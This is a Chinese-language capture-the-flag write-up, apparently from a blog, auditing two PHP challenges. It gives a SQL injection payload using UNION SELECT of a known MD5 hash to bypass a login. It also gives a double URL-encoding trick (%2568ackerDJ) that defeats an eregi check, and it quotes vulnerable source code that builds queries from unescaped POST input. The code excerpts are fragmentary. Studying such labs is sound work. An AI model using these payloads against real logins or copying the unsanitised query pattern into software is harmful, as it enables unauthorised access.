密码MD5比较绕过和urldecode二次绕过

一、密码MD5比较绕过

connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 

//赋值

$user = $_POST[user];
$pass = md5($_POST[pass]);

//sql语句

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


    echo "

Logged in! Key:**************

"; } else { echo("

Log in failure!

"); } } ?>

分析这句sql语句可以知道,我们不能直接注释掉密码

$sql = "select pw from php where user='$user'";

继续分析源码我们可以发现只要让row[pw]的值与pass经过md5之后的值相等即可,用union select来返回一个已知明文的md5
payload=

' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456`

二、urldecode二次绕过

not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "

Access granted!

"; echo "

flag: *****************}

"; } ?>

审计源码

eregi()函数

字符串比对解析,与大小写无关。
语法: eregi(string pattern, string string, array [regs]);
返回值: 整数/数组
特点:PHP函数eregi()与大小写无关,类似函数ereg() 则区分大小写
例:if (eregi(“C”,“abcdef”)   //true

要想得出flag我们即要求id不能等于hackerDJ,又要要求id的urldecode解码等于id
因此我们需要进行两次编码: h --> %68 --> %2568

构造url: index.php?id=%2568ackerDJ

提交即可获得flag:

你可能感兴趣的:(PHP代码审计(偏基础的))